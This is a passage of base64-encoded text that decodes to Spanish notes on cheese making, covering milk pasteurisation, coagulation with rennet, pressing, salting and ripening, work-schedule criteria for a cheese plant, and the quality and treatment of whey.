dG9zIHByZXZpb3MgZGUgbGEgbGVjaGUgKHJlZnJpZ2VyYWNp824sIGhpZ2llbml6YWNp824g eSBwYXN0ZXVyaXphY2nzbikNDSAgICAgTGEgbGVjaGUgcXVlIHNlIHJlY2liZSBlbiBsYSBx dWVzZXLtYSBkZWJlIHNlciBkZSBidWVuYSBjYWxpZGFkLCBjb24gY29udGVuaWRvIGJhY3Rl cmlhbm8gYmFqbyB5LCBkZSBzZXIgcG9zaWJsZSwgZW5mcmlhZGEgYSA0IPMgNrBDIGVuIGNp c3Rlcm5hcyBkZSBhY2VybyBpbm94aWRhYmxlLg0gICAgIFBvc3Rlcmlvcm1lbnRlLCBsYSBs ZWNoZSBzZSBoaWdpZW5pemEsIHBhc+FuZG9sYSBwb3IgdW5hIGNlbnRy7WZ1Z2EgcGFyYSBl bGltaW5hciBpbXB1cmV6YXMgc/NsaWRhcy4gRGVzcHXpcyBzZSBwYXN0ZXVyaXphIGEgdW5h IHRlbXBlcmF0dXJhIGRlICA3MC04MLBDIGR1cmFudGUgMTUg8yA0MCBzZWd1bmRvcyBwYXJh IGVsaW1pbmFyIG1pY3JvYmlvcyBwYXTzZ2Vub3MuDSAgICAgU2UgZGljZSBxdWUgcGFzdGV1 cml6YW5kbyBsYSBsZWNoZSwgc2Ugb2J0aWVuZW4gcXVlc29zIG1lbm9zIGFyb23hdGljb3Mu DSAgICAgRW4gZXN0YSBmYXNlLCBzZSBwdWVkZSBh8WFkaXIgYSBsYSBsZWNoZToNDUN1bHRp dm8gZGUgYmFjdGVyaWFzIGzhY3RpY2FzLCBwYXJhIHRyYW5zZm9ybWFyIGVsIGF6+mNhciBk ZSBsYSBsZWNoZSAobGFjdG9zYSkgZW4g4WNpZG8gbOFjdGljbywgbG8gcXVlIGhhY2UgcXVl IGxhIGxlY2hlIHNlIGFjaWRpZmlxdWUgeSBjb2FndWxlIG3hcyBm4WNpbG1lbnRlIGVuIGxh IGV0YXBhIDIuIEVzdGEgYWRpY2nzbiBzdWVsZSByZWFsaXphcnNlIGEgMjUg8yAzMLBDLCBk ZWphbmRvIGNhZXIgbG9zIGN1bHRpdm9zIGR1cmFudGUgdW5vcyBtaW51dG9zLg1DbG9ydXJv IGPhbGNpY28sIHF1ZSBjb250cmlidXllIGEgbGEgYWNpZGlmaWNhY2nzbiBkZSBsYSBsZWNo ZSB5IGF1bWVudGEgc3UgY29udGVuaWRvIGRlIGNhbGNpbywgbG8gcXVlIGFjZWxlcmEgZWwg cHJvY2VzbyBkZSBjb2FndWxhY2nzbi4gU2Ugc3VlbGVuIGHxYWRpciBkZSA1IGEgMjAgZ3Jh bW9zIHBvciBjYWRhIDEwMCBsaXRyb3MgZGUgbGVjaGUuIA1OaXRyYXRvIHBvdOFzaWNvLCBx dWUgaW5oaWJlIGVsIGNyZWNpbWllbnRvIGRlIGJhY3RlcmlhcyBxdWUgcHJvZHVjZW4gZ2Fz ZXMgcGVyanVkaWNpYWxlcyBwYXJhIGVsIHNhYm9yIHkgYXJvbWEgZGVsIHF1ZXNvLiBTZSBh 8WFkZSBlbiBkb3NpcyBt4XhpbWFzIGRlIDIwIGdyYW1vcyBwb3IgY2FkYSAxMDAga2lsb2dy YW1vcyBkZSBsZWNoZS4NQ29sb3JhbnRlcyBuYXR1cmFsZXMNTW9ob3MsIHF1ZSBheXVkYW4g YSBkZXNhcnJvbGxhciBhcm9tYXMgeSBzYWJvcmVzIGR1cmFudGUgbGEgbWFkdXJhY2nzbi4N DUNvYWd1bGFjafNuIHkgc2VwYXJhY2nzbiBwYXJjaWFsIGRlbCBzdWVybw0NICAgICBMYSBj b2FndWxhY2nzbiBlcyBlbCBwcm9jZXNvIGRlIHRyYW5zZm9ybWFjafNuIGRlIGxhIGxlY2hl IGVuIHF1ZXNvIHJlYWxpemFkYSBlbiB1bmEgY3ViYS4gUG9yIGxhIGFkaWNp824gZGVsIGN1 YWpvIChleHRyYWN0byBvYnRlbmlkbyBkZWwgY3VhamFyIGRlbCBlc3TzbWFnbyBkZSBydW1p YW50ZXMpLCBsYSBjYXNl7W5hIChwcmluY2lwYWwgcHJvdGXtbmEgZGUgbGEgbGVjaGUpIGVz IGNvYWd1bGFkYSBlbmdsb2JhbmRvIGdyYW4gcGFydGUgZGUgbGEgZ3Jhc2EgeSBvdHJvcyBj b21wb25lbnRlcyBkZSBsYSBsZWNoZS4gTm9ybWFsbWVudGUsIGVzdGUgcHJvY2VzbyBzZSBy ZWFsaXphIGEgMzAtMzWwQywgYXVucXVlIGxhIHRlbXBlcmF0dXJhIPNwdGltYSBlcyBkZSA0 MLBDLiBFbCB1c28gZGUgdGVtcGVyYXR1cmFzIGluZmVyaW9yZXMgKDMwLTM1QykgcGVybWl0 ZSBsYSB1dGlsaXphY2nzbiBkZSB1bmEgbWF5b3IgcHJvcG9yY2nzbiBkZSBjdWFqbyAoMjAg YSAzMCBtaWxpbGl0cm9zIHBvciBjYWRhIDEwMCBkZSBsZWNoZSkgcXVlIGVzIGJlbmVmaWNp b3NvIHBhcmEgbGEgbWFkdXJhY2nzbiwgYWRlbeFzIGRlIHByb2R1Y2lyIHVuIGNv4Wd1bG8g bm8gZGVtYXNpYWRvIGR1cm8uDSAgICAgQWN0dWFsbWVudGUsIGVsIGV4dHJhY3RvIGRlIGN1 YWpvIGVzIHN1c3RpdHVpZG8gZW4gbXVjaG9zIGNhc29zIHBvciBlbnppbWFzIGRlIG9yaWdl biB2ZWdldGFsLg0gICAgIFRlcm1pbmFkYSBsYSBjb2FndWxhY2nzbiwgc2UgcHJvY2VkZSBh IGNvcnRhciBsYSBjdWFqYWRhIGRlbnRybyBkZSBsYSBtaXNtYSBjdWJhLCBjb24gbG8gcXVl IGVsIHN1ZXJvIGF0cmFwYWRvIHB1ZWRlIGVzY2FwYXIuIEVsIGNvcnRlIHJlZHVjZSBsYXMg cGFydO1jdWxhcyBkZSBjb+FndWxvIGEgbGFzIGRpbWVuc2lvbmVzIHF1ZSBzZSBxdWllcmEu IFNpIHNlIHByZXRlbmRlIHF1ZSBlbCBxdWVzbyB0ZW5nYSBwb2NhIGh1bWVkYWQsIHNlIGNv cnRhbiBwYXJ07WN1bGFzIGRlIGNv4Wd1bG8gcGVxdWXxYXMuIFNpIHNlIHF1aWVyZW4gcXVl c29zIGNvbiBtYXlvciBodW1lZGFkLCBzZSBkZWphbiBwYXJ07WN1bGFzIGdyYW5kZXMgZW4g Y3V5byBpbnRlcmlvciBxdWVkYXLhIHJldGVuaWRhIHVuYSBjYW50aWRhZCBpbXBvcnRhbnRl IGRlIHN1ZXJvLg0gICAgIExvcyBncmFub3MgZGUgY3VhamFkYSBzb24gbWFudGVuaWRvcyBl biBzdXNwZW5zafNuIGVuIGxhIGN1YmEgcG9yIGFnaXRhY2nzbi4gQ29uIGxhIGFnaXRhY2nz biwgbG9zIGdyYW5vcyBzZSBoYWNlbiBt4XMgY29tcGFjdG9zLCBhc+0gcXVlIGEgbG9zIDEw IPMgMTUgbWludXRvcyBkZSBhZ2l0YWNp824geSBjb3J0ZSBzZSBwdWVkZSBkcmVuYXIgc3Vl cm8gc2luIHRlbW9yIGEgcXVlIHNlIGRlc2ludGVncmVuIGRpY2hvcyBncmFub3MgeSBlc2Nh cGVuIGp1bnRvIGNvbiBlbCBzdWVyby4NICAgICBFbCBjYWxlbnRhbWllbnRvIGRlIGxhIG1h c2EgY29hZ3VsYWRhIHlhIGNvcnRhZGEsIGFjZWxlcmEgZWwgZGVzdWVyYWRvLiBFc3RlIGNh bGVudGFtaWVudG8gc2UgaGFjZSBlbnRyZSAzMCB5IDQ4sEMsIHkgdmEgYWNvbXBh8WFkbyBk ZSBhZ2l0YWNp824gcGFyYSBldml0YXIgcXVlIGxvcyB0cm96b3MgZGUgY2/hZ3VsbyBzZSBm dW5kYW4gdW5vcyBjb24gb3Ryb3MgeSBzZSBmb3JtZSB1bmEgcGFzdGEuIEVuIGVzdGEgbWlz bWEgZXRhcGEsIHNpIHNlIGF1bWVudGEgbGEgdGVtcGVyYXR1cmEsIGVzY2FwYXLhIG11Y2hv IHN1ZXJvIHkgc2UgdGVuZHLhbiBxdWVzb3MgbeFzIHNlY29zLCB5IHZpY2V2ZXJzYS4gQWRl beFzLCBzdWJpZW5kbyBsYSB0ZW1wZXJhdHVyYSAoNDSwQykgc2UgbGxlZ2EgYSBtYXRhciBs YXMgYmFjdGVyaWFzIGzhY3RpY2FzIHF1ZSBzZSBh8WFkaWVyb24gYWwgcHJpbmNpcGlvLCBk ZXRlbmllbmRvIGFz7SBsYSBhY2lkaWZpY2FjafNuLiBFc3RlIGNhbGVudGFtaWVudG8gc2Ug cHVlZGUgcmVhbGl6YXIgZGUgMiBmb3JtYXM6DQ1BZGljafNuIGRlIGFndWEgY2FsaWVudGUg YSBsYSBtYXNhIChlc3RvIHNlIGhhY2UgZW4gZWwgY2FzbyBkZSBxdWVzb3MgY29uIGFsdG8g Y29udGVuaWRvIGVuIGh1bWVkYWQpDUNhbGVudGFtaWVudG8gZGUgbGEgY3ViYSBleHRlcmlv cm1lbnRlDQ1MbGVuYWRvIGRlIG1vbGRlcyB5IHByZW5zYWRvIHByZXZpbw0gICAgIA0gICAg IEVsIGRlc3VlcmFkbyBjb250aW76YSBlbiBlbCBsbGVuYWRvIGRlIGxvcyBtb2xkZXMuDSAN TW9sZGVhZG8NDVByZW5zYWRvDQ0gICAgIEVuIGVsIGNhc28gZGUgcXVlc29zIGJsYW5kb3Mg KENhbWVtYmVydCksIG5vIHNlIGFwbGljYSBwcmVzafNuIGFsZ3VuYSwgZGVqYW5kbyBxdWUg ZWwgcGVzbyBkZWwgcHJvcGlvIHF1ZXNvIGVuIGVsIG1vbGRlIGFjdPplIGRlIHByZW5zYS4g U2kgZWwgcHJlbnNhZG8gc2UgcmVhbGl6YSBkZSBmb3JtYSBxdWUgcXVlZGUgYWlyZSBhdHJh cGFkbyBlbnRyZSBsb3MgZ3Jhbm9zLCBzZSB0ZW5kcuFuIHF1ZXNvcyBncmFudWxhcmVzIChx dWVzbyBkZSBsb3MgUGlyaW5lb3MsIENhbnRhbCwgTWFuY2hlZ28pLiBTaSBlbCBwcmVuc2Fk byBzZSByZWFsaXphIGNvbiBsb3MgZ3Jhbm9zIGJh8WFkb3MgZW4gc3Vlcm8gZGUgbWFuZXJh IHF1ZSBubyBxdWVkZSBzaXRpbyBwYXJhIGVsIGFpcmUsIGxvcyBncmFub3Mgc2UgZnVuZGly 4W4gZW50cmUgc+0geSBjdWFuZG8sIGR1cmFudGUgbGEgbWFkdXJhY2nzbiwgc2UgZm9ybWVu IGdhc2VzLCDpc3RvcyBxdWVkYXLhbiBhdHJhcGFkb3MgZW4gbGEgbWFzYSBmb3JtYW5kbyBi dXJidWphcyAoR3J1eehyZSB5IEVtbWVudGFsKS4NDVNhbGFkbw0NICAgICBFbCBzYWxhZG8g cHVlZGUgcmVhbGl6YXJzZSB5YSBzZWEgcG9yIGlubWVyc2nzbiBkaXJlY3RhIGVuIGJh8W9z IGRlIHNhbG11ZXJhIG8gcG9yIHNhbGFkbyBkaXJlY3RvIGNvbiBzYWwgc/NsaWRhIGFwbGlj YWRhIGEgbGEgY29ydGV6YSBvIG1lemNsYWRhIGNvbiBsYSBtYXNhLiBTZSBwdWVkZSBoYWNl ciBlbCBzYWxhZG8gY3VhbmRvIGxvcyBncmFub3MgZXN04W4gYfpuIGVuIGxhIGN1YmEsIHBl cm8gZWxsbyB0aWVuZSBlbCBpbmNvbnZlbmllbnRlIGRlIHNhbGFyIHRhbWJp6W4gZWwgc3Vl cm8sIGNvbiBsbyBxdWUgc2UgbGltaXRhbiBzdXMgcG9zaWJsZXMgYXByb3ZlY2hhbWllbnRv cy4NICAgICBMYSBhZGljafNuIGRlIHNhbCBheXVkYSBhIGNvbnNlcnZhciBlbCBxdWVzbyBt 4XMgdGllbXBvLCBhZGVt4XMgZGUgcmVhbHphciBzdXMgYXJvbWFzLg0NTWFkdXJhY2nzbg0N ICAgICBQdWVkZSBkdXJhciBz82xvIHVuYXMgaG9yYXMgcGFyYSBhbGd1bm9zIHF1ZXNvcyBm cmVzY29zLCBoYXN0YSBtZXNlcyB5IGHxb3MgcGFyYSBxdWVzb3MgZHVyb3MuDSAgICAgRHVy YW50ZSBlc3RhIGV0YXBhLCBkZWJlbiBjdWlkYXJzZSBsYXMgY29uZGljaW9uZXMgZGUgYWly ZWFjafNuLCBodW1lZGFkIHkgdGVtcGVyYXR1cmEgZGUgbGFzIGPhbWFyYXMgbyBjYXZhcyBk b25kZSBzZSByZWFsaXphLiBDYWRhIHF1ZXNvIHRpZW5lIHN1cyBwcm9waWFzIGNvbmRpY2lv bmVzIGRlIGh1bWVkYWQgeSB0ZW1wZXJhdHVyYSBwYXJhIHN1IPNwdGltYSBtYWR1cmFjafNu Lg0gICAgIER1cmFudGUgZXN0ZSBwZXJpb2RvLCBsb3MgcXVlc29zIHBpZXJkZW4gcGVzbyBw b3IgZXZhcG9yYWNp824geSBkZXNhcnJvbGxhbiBhcm9tYXMgeSBzYWJvcmVzIGNhcmFjdGVy 7XN0aWNvcyBkZSBjYWRhIHRpcG8uIEVzIG5lY2VzYXJpbyBwcm9jdXJhciBxdWUgbGEgcOly ZGlkYSBkZSBodW1lZGFkIHNlYSB1bmlmb3JtZSBlbiB0b2RvcyBsb3MgcXVlc29zIGFsbWFj ZW5hZG9zLg0NDQ0NMy4yLjIuLSBERVNDUklQQ0nTTiBERSBMT1MgQ1JJVEVSSU9TDQ1BIGNv bnRpbnVhY2nzbiBzZSBkZXRhbGxhbiBsb3MgY3JpdGVyaW9zIGRlIG1heW9yIGluZmx1ZW5j aWEgcGFyYSBzZWxlY2Npb25hciBsYSBhbHRlcm5hdGl2YSBhZGVjdWFkYS4NDUNyLjE6IENh bGlkYWQgZGVsIHByb2R1Y3RvOiAgQXF1ZWxsYXMgYWx0ZXJuYXRpdmFzIGVuIGRvbmRlIHNl IGVsYWJvcmEgZWwgcXVlc28gdG9kb3MgbG9zIGTtYXMgZGUgbGEgc2VtYW5hLCBzaW4gdW4g YWxtYWNlbmFtaWVudG8gZGUgbGEgbGVjaGUgc3VwZXJpb3IgYWwg83B0aW1vIGRlIGZ1bmNp b25hbWllbnRvIGRlIGxhIGluZHVzdHJpYSwgcHJlc2VudGEgdW5hIG1heW9yIGhvbW9nZW5l aWRhZCBkZWwgcHJvZHVjdG8geSwgcG9yIHRhbnRvLCBtYXlvciBjYWxpZGFkIHF1ZSBvdHJh cyBkb25kZSBsYSBsZWNoZSBzZSBjb25zZXJ2YSBlbiBj4W1hcmFzIGFsZ/puIGTtYS4NDUNy LjI6IEdhc3RvcyBleHRyYSBkZSBsYSBlbXByZXNhOiBUb2RhIGpvcm5hZGEgbGFib3JhbCBx dWUgc2UgYXNlbWVqZSBsbyBt4XMgcG9zaWJsZSBhIGxhIGVzdOFuZGFyLCA4IGggZGlhcmlh cyBt4XMgMSBk7WEgZmVzdGl2bywgZmFjaWxpdGEgbGEgdmlkYSBkZWwgdHJhYmFqYWRvciBy ZXBlcmN1dGllbmRvIGVuIGxhIHJlbnRhYmlsaWRhZCBkZSBsYSBlbXByZXNhLiBTYWxpcnNl IGRlIGVzb3MgcGF0cm9uZXMgaW1wbGljYSAgYXVtZW50byBkZSBjb3N0ZXMgZW4gc3VlbGRv cyB5IGhvcmFzIGV4dHJhIHBhcmEgbGEgZW1wcmVzYS4NDUNyLjM6IE9wdGltaXphY2nzbiBk ZSBsYSBtYXF1aW5hcmlhOiBFbCB0aXBvIGRlIGpvcm5hZGEgbGFib3JhbCBxdWUgc2UgZWxp amEgZGViZSBzZXIgY29tcGF0aWJsZSBjb24gZWwgc3VtaW5pc3RybyBkZSBsZWNoZSBwb3Ig cGFydGUgZGUgbGEgSW5kdXN0cmlhIGzhY3RlYSB5IGVuIGxhIG1lZGlkYSBkZSBsbyBwb3Np YmxlIG5vIHN1cG9uZXIgdW4gc29icmVjb3N0ZSBlbiBj4W1hcmFzIGRlIGNvbnNlcnZhY2nz biBkZSBsZWNoZSBwYXJhIGxhIGluZHVzdHJpYSBkZSBxdWVzb3MuDQ1Dci40OiBDYWxpZGFk IGRlIHZpZGEgZGVsIHRyYWJhamFkb3I6IEVuIHRvZG8gdHJhYmFqbyBzZSBkZWJlIG90b3Jn YXIgYWwgbWVub3MgdW4gZO1hIGRlIGRlc2NhbnNvIHBvciBjYWRhIDYgZO1hcyBkZSB0cmFi YWpvLiBTaSBzZSBkaXNwb25lIGRlIG3hcyBk7WFzIGRlIGRlc2NhbnNvIGxhIGNhbGlkYWQg ZGUgdmlkYSBkZWwgdHJhYmFqYWRvciBzZXLhIG1lam9yIGEgY29zdGEgZGUgbWVub3JlcyBp bmdyZXNvcyBhIGxhIGVtcHJlc2EuDUVzIGhhY2UgZGlmZXJlbnRlcyB0aXBvcyBkZSBxdWVz b3MNc2llbmRvIGVsIG1hcyBiZW5kaWRvIGVsIHF1ZXNvIHNlY28gY3V5byBwcm9jZXNvIGVz IHRlbmllbmRvIGxhIGxlY2hlIHkgZW4gbGENZGVzY3JlbWFkYSBkZSBhZ3Jlc2EgbGEgcGFz dGlsbGEgZGUgY3Vham8sIHRlbmllbmRvIGxhIG1hc2EgZGUgcXVlc28gZXMgbW9sZGVhZG8N eSBsdWVnbyBwcmVuZGFkbywgcG9jbyB0aWVtcG8gZGVzcHXpcyBlcyBzZWNhZG8geSBzZSBh aHVtYSBwYXJhIHNlY2FybG8gdW4gcG9jbw1tYXMgcuFwaWRvLg0NCVNlIGVsYWJvcmEgZHVy YW50ZSB0b2RvIGVsIGHxbywgdXRpbGl6YW5kbyBsZWNoZSBhYnVuZGFudGUgZW4gZ3Jhc2Es IHNlDWNhbGllbnRhIGEgdW5hIHRlbXBlcmF0dXJhIHRlbXBsYWRhLCBzb2JyZSAzNyBncmFk b3MuIEVudG9uY2VzIHNlIGHxYWRlIGVsDWN1YWpvLCBkZSBlbGFib3JhY2nzbiBjYXNlcmEg Y29uIGVzdPNtYWdvIGRlc2VjYWRvIGRlIGNlcmRvIChlbiBsYSBhY3R1YWxpZGFkLCB5DWVu IGxhcyBwcm9kdWNjaW9uZXMgbWVub3MgdHJhYmFqYWRhcyB5IHJlc2VydmFkYXMgZ2VuZXJh bG1lbnRlIHBhcmEgbGEgdmVudGEsIHNlDXV0aWxpemEgY3Vham8gaW5kdXN0cmlhbCkuDQ0J T3RybyBwcm9jZXNvIGRlIGVsYWJvcmFyIHVuIHRpcG8gZGUgcXVlc28gcXVlIHNvbG8gc2Ug aGFjaWEgYfFvcyBhdHLhcw1MYSBsZWNoZSBkZSB2YWNhIGVzIHNvbWV0aWRhIGEgdW4gdHJh dGFtaWVudG8gZGUgcGFzdGVyaXphY2nzbiBkZSA3Ni03ODogYywNZHVyYW50ZSA0MCBzZWcu IEVuIGNhc28gZGUgcXVlIGxvcyBncuFmaWNvcyBkZSBjb250cm9sIGRlIHBhc3Rlcml6YWNp 824gb2ZyZXpjYW4NZHVkYXMgc29icmUgbGEgaWRvbmVpZGFkIGRlbCB0cmF0YW1pZW50byB0 6XJtaWNvLCBzZSByZWFsaXphbiBsYXMgcHJ1ZWJhcyBkZQ1mb3N0YXRhc2EgeSBwZXJveGlk YXNhLiBVbmEgdmV6IHBhc3Rlcml6YWRhLCBsYSBsZWNoZSBwYXNhIGEgbGEgY3ViYSwgZG9u ZGUgc2UNaW5pY2lhcuEgZWwgcHJvY2VzbyBkZSBlbGFib3JhY2nzbiBwcm9waWFtZW50ZSBk aWNoby4NDQlFbiBwcmltZXIgbHVnYXIsIHNlIGHxYWRlbiBhIGxhIGxlY2hlIHRvZG9zIGFx dWVsbG9zIGNvbXBvbmVudGVzIHF1ZQ1pbnRlcnZpZW5lbiBlbiBsYSBlbGFib3JhY2nzbiBk ZWwgcHJvZHVjdG86IGZlcm1lbnRvcyBs4WN0ZW9zLCBjbG9ydXJvIGPhY2ljbywNY2xvcmhp ZHJhdG8gZGUgbGlzb3ppbWEgeSBjdWFqby4gTGEgdGVtcGVyYXR1cmEgaW5pY2lhbCBkZSB0 cmFiYWpvIGVuIGxhIGN1YmEgZXMNZGUgMzM6IGMgdGVtcGVyYXR1cmEgcXVlIHBlcm1pdGUg ZWwgZGVzYXJyb2xsbyDzcHRpbW8gZGUgbG9zIGZlcm1lbnRvcyBs4WN0aWNvcw15IGFsIG1p c21vIHRpZW1wbyBnYXJhbnRpemEgYWwgY3Vham8gdW5hcyBjb25kaWNpb25lcyBkZSBhY2Np 824gYmF0YW50ZQ1mYXZvcmFibGVzLiBMYSB0ZW1wZXJhdHVyYSBlbiBsYSBjdWJhIHNlIHZl cmlmaWNhIG1lZGlhbnRlIHRlcm3zbWV0cm8gZGUNYWxjb2hvbC4NVHJhcyBh8WFkaXIgZWwg Y3Vham8sIHNlIGRlamEgcmVwb3NhciBtZWRpYSBob3JhICwgcGFyYSBxdWUgc2UgbGxldmUg YSBjYWJvIGxhDWNvYWd1bGFjafNuIGRlIGxhIGxlY2hlLiBVbmEgdmV6IHRyYW5zY3Vycmlk byBlc3RlIHRpZW1wbywgc2UgcHJvY2VkZSBhbCBjb3J0YWRvDWRlIGxhIGN1YWphZGEgcGFy YSBmYXZvcmVjZXIgZWwgZGVzdWVyYWRvLCBwcm9jZXNvIHF1ZSBzZSBwcm9sb25nYQ1hcHJv eGltYWRhbWVudGUgZGlleiBtaW51dG9zLiBMYSBmYXNlIHNpZ3VpZW50ZSBjb25zaXN0ZSBl biBhZ2l0YXIgbGEgbWFzYQ1tZWRpYW50ZSBwYWxldGFzLCBhbCBtaXNtbyB0aWVtcG8gcXVl IHNlIGF1bWVudGEgbGEgdGVtcGVyYXVyYSwgYWNjaW9uZXMNZW5jYW1pbmFkYXMgYSBmYXZv cmVjZXIgbGEgc2lu6XJlc2lzLCBsYXMgdGVtcGVyYXR1cmFzIGVtcGxlYWRhcyBlbiBlbA1j YWxlbnRhbWllbnRvIG9zY2lsYW4gc29icmUgMzc6Yy0zODpjIGNvbiB1biB0aWVtcG8gZGUg dW5hIGhvcmEgYXByb3hpbWFkYW1lbnRlLg0NCUVsIG1vbGRlbyBzZSByZWFsaXphIG1hbnVh bG1lbnRlLiBFbiBjYXNvIGRlIGVsYWJvcmFjafNuIHRpcG8gdHJhZGljaW9uYWwsIGxvcw1t b2xkZXMgaGFuIHNpZG8gcHJldmlhbWVudGUgcHJvdmlzdG9zIGRlIHRyYXBvLiBVbmEgdmV6 IGxsZW5vcywgbG9zIG1vbGRlcyBzZQ1zaXT6YW4gZW4gdW4gY2Fycm8sIHkgc2UgY29sb2Nh IGVsIHRhcGUgcGFyYSBlbCBwcmVuc2Fkby4NTGEgb3BlcmFjafNuIGRlIHByZW5zYWRvIHNl IHByb2xvbmdhIGVudHJlIDQgeSAxMiBob3Jhcy4NDQlFbiBsYXMg+mx0aW1hcyBob3JhcyBz ZSBkYSBsYSB2dWVsdGEgYWwgcGHxbyB5IHNlIHZ1ZWx2ZSBhIGNvbG9jYXIgZW4gbGENcHJl bnNhLiBBIGZpbmFsIFVuYSB2ZXogZmluYWxpemFkYSBsYSBmYXNlIGRlIGRlc3VlcmFkbywg c2UgcHJvY2VkZSBhbCBzYWxhZG8NbWVkaWFudGUgaW5tZXJzafNuIGVuIHNhbG11ZXJhIChh Z3VhIHkgY2xvcnVybyBz82RpY28sIGEgMTg6IGJhdW1lKSBkdXJhbnRlIDgtMTANaG9yYXMs IHNlZ/puIGVsIHRpcG8gZGUgcXVlc28uDQ0JQSBsYSBzYWxpZGEgZGUgc2FsbXVlcmEsIHNl IGxsZXZhIGVsIHByb2R1Y3RvIGEgbGEgem9uYSBkZSBzZWNhZG8sIGVuIGxhIHF1ZQ1wZXJt YW5lY2UgZW50cmUgNCB5IDYgZO1hcywgZW4gY29uZGljaW9uZXMgZGUgdGVtcGVyYXR1cmEg eSBodW1lZGFkIHJlbGF0aXZhDXRpZW5lIGx1Z2FyIGxhIG1hZHVyYWNp824gZGVsIHByb2R1 Y3RvLiBFbiBnZW5lcmFsLCBsb3MgcXVlc29zIGVsYWJvcmFkb3MgZW4gbG9zDW1lc2VzIGRl IGVuZXJvLCBmZWJyZXJvIHkgbWFyem8gcGVybWFuZWNlbiBkb3MgbyB0cmVzIG1lc2VzIGRl IGN1cmFjafNuLCBlbiBsYQ1lbGFib3JhY2nzbiBhIHBhcnRpciBkZSBhYnJpbCwgZWwgcHJv Y2VzbyBzdWVsZSBwcm9sb25nYXJzZSBoYXN0YSA0IG8gNiBtZXNlcy4NTG9zIGxvdGVzIHNl IGVuY3VlbnRyYW4gaW5kZXRpZmljYWRvcyBlbiBsYXMgY+FtYXJhcyBtZWRpYW50ZSB1bmEg bGV0cmEgcXVlDWlkZW50aWZpY2EgZWwgbWVzLCBwcmVjZWRpZGEgZGUgbG9zIGRpZ2l0b3Mg aW5kaWNhdGl2b3MgZGVsIGTtYSB5IGxhIGN1YmEuDUFudGVzIGRlIHNsYWlyIGEgbGEgdmVu dGEsIGVsIHF1ZXNvIGVzIGNlcGlsbGFkby4gRW4gY3VhbnRvIGEgbGEgY29ydGV6YSwNZXhp c3RlbiBkb3MgdGlwb3MgZGUgcHJlc2VudGFjafNuOiBjb3J0ZXphIG5hdHVyYWwgeSBjb3J0 ZXphIHBpbnRhZGEuDUVsIHN1ZXJvIHRhbWJp6W4gZXMgZW1wbGVhZG9zIHBhcmEgZGl2ZXJz YXMgZm9ybWFzLCB5YSBxdWUgZXMgaW1wb3J0YW50ZSBwYXJhIGxhDWVsYWJvcmFjafNuIGRl bCBxdWVzby4NQ0FMSURBRCBERUwgU1VFUk8NTG9zIHN1ZXJvcyBkZSBxdWVzZXLtYSB2YXLt YW4gcmVjdWVyZG8gY29uIGVsIHRpcG8gZGUgcXVlc28gZWxhYm9yYWRvIHkgcG9yDXRhbnRv IHRhbWJp6W4gc3UgY29udGVuaWRvIGVuIHByb3Rl7W5hcywg4WNpZG8gZ3Jhc28sIGxhY3Rv c2EgbyDhY2lkbyBs4WN0aWNvLg1FcyBkZSBpbXBvcnRhbmNpYSBzZWN1bmRhcmlhICwgc2ll bmRvIGRlIG1heW9yIGludGVy6XMgbGEgb2J0ZW5jafNuIGRlIHVuIHN1ZXJvDWRlIHBvY2Eg YWNpZGV6LiBMb3Mgc3Vlcm9zIG9idGVuaWRvcyBkdXJhbnRlIGVsIGNvcnRlIGRlIGxhIGN1 YWphZGEgZGUgbG9zDXF1ZXNvcyB0ZXh0dXJpemFkb3MgeSBubyB0ZXh0dXJpemFkb3MsIHNv biBtZW5vcyDhY2lkb3MgcXVlIGxvcyBkZSBxdWUgc2UNb2J0aWVuZW4gZHVyYW50ZSBsYSB0 ZXh0dXJhY2lvbiBvIGVsIHByZW5zYWRvLiBMb3MgZGVsIHByZW5zYWRvIHN1ZWxlbiB0ZW5l ciB1bmENZWxldmFkYSBjb25jZW50cmFjafNuIGRlIHNhbCwgcG9yIGxvIHF1ZSBubyBwdWVk ZW4gZW1wbGVhcnNlIGRpcmVjdGFtZW50ZSBwYXJhDWxhIGFsaW1lbnRhY2nzbiBkZWwgZ2Fu YWRvLiBMYSBjb25jZW50cmFjafNuIGRlIGxhY3Rvc2EgZW4gZWwgc3Vlcm8gZXMgYmFzdGFu dGUNY29uc3RhbnRlIHBlcm8gZGVwZW5kZSBkZSBsYSBwcm9kdWNjafNuIGRlIGxhY3Rvc2Eg b3JpZ2luYWwuDUVsIGNvbnRlbmlkbyBwcm90Ze1jbyBkZXBlbmRlIGVuIHN1IG1heW9yIHBh cnRlIGRlbCB0aXBvIGRlIGNvYWd1bG8geSBkZSBzdQ10cmF0YW1pZW50byB5IGxhIHByZXNl bmNpYSBlbiBlbCBtaXNtbyBkZSBwYXJ07WN1bGFzIGRlIGN1YWphZGEgcHVlZGUgYXVtZW50 YXJsYQ1jb25zaWRlcmFibGVtZW50ZS4gRWwgcG9yY2VudGFqZSBkZSBncmFzYSBkZXBlbmRl IGVuIHN1IG1heW9yIHBhcnRlIGRlbA10cmF0YW1pZW50bywgZWwgY29udGVuaWRvIGVuIHNh bGVzIHN1ZWxlIHNlciBiYXN0YW50ZSBjb25zdGFudGUsIGRlcGVuZGUgZGUgbGENYWRpY2nz biBhIGxhIGxlY2hlIGRlIGFsZ3Vub3MgY29tcHVlc3RvcyBjb21vIG5pdHJhdG8geSBtdXkg ZXNwZWNpYWxtZW50ZSBkZQ1jbG9ydXJvIG8gaGlkcvN4aWRvIGNhbGNpY29zLg1UUkFUQU1J RU5UTyBERUwgU1VFUk8NRWwgc3Vlcm8gcmVxdWllcmUgYW50ZXMgZGUgc3UgdXRpbGl6YWNp 824gdW5hIHBhc3RldXJpemFjafNuIHBhcmEgZGVzdHJ1aXIgbG9zDW1pY3Jvb3JnYW5pc21v cyBwcmVzZW50ZXMuIEVzIGVzZW5jaWFsIHByb2NlZGVyIGEgc3UgbmV1dHJhbGl6YWNp824g eQ1zdWJzaWd1aWVudGVzIGRlc21pbmVyYWxpemFjafNuLiBFc3RhIHB1ZWRlIHJlYWxpemFy c2UgcG9yIGludGVyY2FtYmlvIGlvbml6byBvDXBvciBlbGVjdHJvZGlhbGlzaXMsIGVsaW1p bmFuZG8gbGFzIHNhbGVzIGEgdHJhdulzIGRlIG1lbWJyYW5hcyBhZGVjdWFkYXMuDVNVRVJP IERFIExFQ0hFDUVzIHVuIGFsaW1lbnRvIG5ldXRybywgbGlicmUgZGUgcHJvdGXtbmFzIHkg Z3Jhc2FzLCBlcyBpbmRpY2FkbyBwYXJhIGxhIGRpZXRhDWFic29sdXRhIHkgY29udHJhIHbz 